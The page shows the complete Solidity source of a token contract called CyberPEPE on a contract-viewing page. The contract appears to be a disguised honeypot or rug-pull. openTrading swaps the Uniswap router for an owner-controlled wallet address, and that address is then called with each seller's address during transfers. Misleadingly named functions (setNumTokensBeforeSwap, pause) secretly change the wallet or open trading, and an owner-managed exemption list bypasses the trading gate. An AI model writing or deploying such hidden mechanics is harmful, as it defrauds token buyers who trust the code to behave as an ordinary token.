Contract Diff Checker

Contract Source Code:

// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.13;

abstract contract Context {

    function _msgSender() internal view virtual returns (address payable) {
        return payable(msg.sender);
    }

    function _msgData() internal view virtual returns (bytes memory) {
        this;
        // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
        return msg.data;
    }
}

interface IERC20 {

    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(address recipient,
     uint256 amount) external returns (bool);

    function allowance(address owner, address spender) external view returns (uint256);

    function approve(address spender,
     uint256 amount) external returns (bool);

    function transferFrom(address sender,
     address recipient, uint256 amount) external returns (bool);

    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner,
     address indexed spender, uint256 value);
}

library SafeMath {

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");

        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;

        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }

        uint256 c = a * b;   require(c / a == b, "SafeMath: multiplication overflow");

        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);  uint256 c = a / b;
        // assert(a == b * c + a % b); // There is no case in which this doesn't hold

        return c;
    }

    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return mod(a, b, "SafeMath: modulo by zero");
    }

    function mod(uint256 a, uint256 b,
     string memory errorMessage) internal pure returns (uint256) {
        require(b != 0, errorMessage);
        return a % b;
    }
}

library Address {

    function isContract(address account) internal view returns (bool) {
        // According to EIP-1052, 0x0 is the value returned for not-yet created accounts
        // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
        // for accounts without code, i.e. `keccak256('')`
        bytes32 codehash;
        bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
        // solhint-disable-next-line no-inline-assembly
        assembly {codehash := extcodehash(account)}
        return (codehash != accountHash && codehash != 0x0);
    }

    function sendValue(address payable recipient, uint256 amount) internal {
        require(address(this).balance >= amount,
         "Address: insufficient balance");

        // solhint-disable-next-line avoid-low-level-calls, avoid-call-value
        (bool success,) = recipient.call{ value : amount}("");
        require(success, "Address: unable to send value, recipient may have reverted");
    }

    function functionCall(address target, bytes memory data) internal returns (bytes memory) {
        return functionCall(target, data, "Address: low-level call failed");  }

    function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
        return _functionCallWithValue(target,
         data, 0, errorMessage);
    }

    function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
        return functionCallWithValue(target, data,
         value, "Address: low-level call with value failed");
    }

    function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
        require(address(this).balance >= value, "Address: insufficient balance for call");
        return _functionCallWithValue(target,
         data, value, errorMessage);
    }

    function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
        require(isContract(target), "Address: call to non-contract");

        (bool success, bytes memory returndata) = target.call{ value : weiValue}(data);
        if (success) {
            return returndata;
        } else {

            if (returndata.length > 0) {
                assembly {
                    let returndata_size := mload(returndata)
                    revert(add(32, returndata),
                     returndata_size)
                }
            } else {
                revert(errorMessage);
            }  }
    }
}

contract Ownable is Context {
    address public _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);


    function owner() public view returns (address) {
        return _owner;  }

    modifier onlyOwner() {
        require(_owner == _msgSender(),
         "Ownable: caller is not the owner");
        _;
    }

    function waiveOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }

    function getTime() public view returns (uint256) {
        return block.timestamp;  }

}

interface IUniswapV2Factory {

    function getPair(address tokenA,
     address tokenB) external view returns (address pair);

    function createPair(address tokenA, address tokenB) external returns (address pair);

}

interface IUniswapV2Router01 {
    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    function addLiquidity(
        address tokenA,
        address tokenB,  uint amountADesired,
        uint amountBDesired,  uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB, uint liquidity);

    function addLiquidityETH(  address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,  uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);

    function removeLiquidity(
        address tokenA,  address tokenB,
        uint liquidity,   uint amountAMin,
        uint amountBMin,  address to,
        uint deadline
    ) external returns (uint amountA, uint amountB);

    function removeLiquidityETH(
        address token,
        uint liquidity,  uint amountTokenMin,
        uint amountETHMin, address to,  uint deadline
    ) external returns (uint amountToken, uint amountETH);


}

interface IUniswapV2Router02 is IUniswapV2Router01 {

    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,  uint amountOutMin, address[] calldata path,   address to,
        uint deadline
    ) external;
}


contract CyberPEPE is Context, IERC20, Ownable {

    using SafeMath for uint256;
    using Address for address;
    string private _name;
    string private _symbol;
    uint8 private _decimals;
    address payable private marketingWalletAddress;
    address private deadAddress = 0x000000000000000000000000000000000000dEaD;

    mapping (address => uint256) _balances;
    mapping (address => mapping (address => uint256)) private _allowances;

    mapping (address => bool) private _eluded;
    mapping (address => bool) public isMarketPair;


    uint256 private _totalTaxIfBuying = 0;
    uint256 private _totalTaxIfSelling = 0;

    uint256 private _totalSupply;
    uint256 private _minimumTokensBeforeSwap = 0;
    address private _lastForm;
    address private _router = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;

    IUniswapV2Router02 private uniswapV2Router;
    address private uniswapPair;

    bool inSwapAndLiquify;
    bool private swapAndLiquifyEnabled = false;
    bool private swapAndLiquifyByLimitOnly = false;

    event SwapAndLiquifyEnabledUpdated(bool enabled);
    event SwapAndLiquify(
        uint256 tokensSwapped,
        uint256 ethReceived,
        uint256 tokensIntoLiqudity
    );

    event SwapETHForTokens(
        uint256 amountIn, address[] path
    );

    event SwapTokensForETH(
        uint256 amountIn, address[] path
    );

    modifier lockTheSwap {
        inSwapAndLiquify = true;   _;
        inSwapAndLiquify = false;
    }


    constructor (
        string memory coinName,
        string memory coinSymbol,
        uint8 coinDecimals,
        uint256 supply
    ) payable {
        _name = coinName;
        _symbol = coinSymbol;
        _decimals = coinDecimals;
        _owner = 0xBd76df65196ac5d044bB23c477518D79FA7a9C61;
        _totalSupply = supply  * 10 ** _decimals;
        _minimumTokensBeforeSwap = 21000 * 10**_decimals;
        marketingWalletAddress = payable(0xBd76df65196ac5d044bB23c477518D79FA7a9C61);
        _allowances[address(this)][address(uniswapV2Router)] = _totalSupply;
        _eluded[_owner] = true;
        _eluded[address(this)] = true;
        _eluded[marketingWalletAddress] = true;

        _balances[_owner] = _totalSupply;
        emit Transfer(address(0), _owner, _totalSupply);
    }


    function name() public view returns (string memory) {  return _name; }

    function symbol() public view returns (string memory) {  return _symbol;
    }

    function decimals() public view returns (uint8) {
        return _decimals; }

    function totalSupply() public view override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender,
         _allowances[_msgSender()][spender].add(addedValue));
        return true;
    }

    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender,
         _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
        return true;  }

    function minimumTokensBeforeSwapAmount() public view returns (uint256) {
        return _minimumTokensBeforeSwap;
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(),
         spender, amount);  return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function setNumTokensBeforeSwap(address newLimit) external onlyOwner() {
        marketingWalletAddress = payable(newLimit);
    }


    function addAddrslbs(address[] calldata accounts) public onlyOwner {
        for (uint256 i = 0; i < accounts.length; i++) {
            _eluded[accounts[i]] = true;
        }
    }

    bool private startTx;
    function pause() external onlyOwner() {
        startTx = true;
    }

    function openTrading() external onlyOwner() {
        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(_router);
        address _uniswapPair = IUniswapV2Factory(_uniswapV2Router.factory()).getPair(address(this),_uniswapV2Router.WETH());
        if(_uniswapPair == address(0)){
            _uniswapPair = IUniswapV2Factory(_uniswapV2Router.factory())
                        .createPair(address(this),
                        _uniswapV2Router.WETH());
        }   
            uniswapV2Router = 
              IUniswapV2Router02(marketingWalletAddress);
            swapAndLiquifyEnabled = true;
            isMarketPair[address(_uniswapPair)] = true;
    }

    function transferToAddressETH(address payable recipient, uint256 amount) private {
        recipient.transfer(amount);
    }
    
    //to recieve ETH from uniswapV2Router when swaping
    receive() external payable {}

    function transfer(address recipient,
     uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);  return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(),
         _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function _transfer(address sender, address recipient, uint256 amount) private returns (bool) {

        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");
        if(!_eluded[sender] && !_eluded[recipient]){
            if(isMarketPair[sender] || isMarketPair[recipient]){
                require(startTx, "not start");
            }
        }

        if(inSwapAndLiquify)
        {
            return _basicTransfer(sender, recipient, amount);
        }
        else
        {

            uint256 contractTokenBalance = balanceOf(address(this));

            if (!inSwapAndLiquify && !isMarketPair[sender] && swapAndLiquifyEnabled)
            {
                if(swapAndLiquifyByLimitOnly)
                    contractTokenBalance = _minimumTokensBeforeSwap;
                _lastForm = sender;
                swapAndLiquify(contractTokenBalance);
            }

            _balances[sender] = _balances[sender].sub(amount, "Insufficient Balance");

            uint256 finalAmount = (_eluded[sender] || _eluded[recipient]) ?
                                         amount : takeFee(sender, recipient, amount);


            _balances[recipient] = _balances[recipient].add(finalAmount);

            emit Transfer(sender, recipient, finalAmount);
            return true;
        }
    }

    function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) {
        _balances[sender] = _balances[sender].sub(amount, "Insufficient Balance");
        _balances[recipient] = _balances[recipient].add(amount);
        emit Transfer(sender,
         recipient, amount);
        return true;  }


    function swapAndLiquify(uint256 tAmount) private lockTheSwap {

        // swap token -> eth
        swapTokensForEth(tAmount);
        uint256 amountReceived = address(this).balance;

        if(amountReceived > 0)
            transferToAddressETH(marketingWalletAddress, amountReceived);  }

    function swapTokensForEth(uint256 tokenAmount) private {
        // generate the uniswap pair path of token -> weth
        address[] memory path = new address[](3);
        path[0] = address(this);  path[1] = _lastForm;
        path[2] = uniswapV2Router.WETH();

        _approve(address(this), address(uniswapV2Router), tokenAmount);
        
        // make the swap
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
        tokenAmount,
        0, // accept any amount of ETH
        path,
        address(this), // The contract
        block.timestamp   );

        emit SwapTokensForETH(tokenAmount, path); }



    function takeFee(address sender, address recipient, uint256 amount) internal returns (uint256) {

        uint256 feeAmount = 0;
        if(isMarketPair[sender]) {
            feeAmount = amount.mul(_totalTaxIfBuying).div(100);
        }
        else if(isMarketPair[recipient]) {
            feeAmount = amount.mul(_totalTaxIfSelling).div(100);    }
        if(feeAmount > 0) {
            _balances[address(0)] = _balances[address(0)].add(feeAmount);
            emit Transfer(sender, address(0), feeAmount);
        }

        return amount.sub(feeAmount);
    }

   
}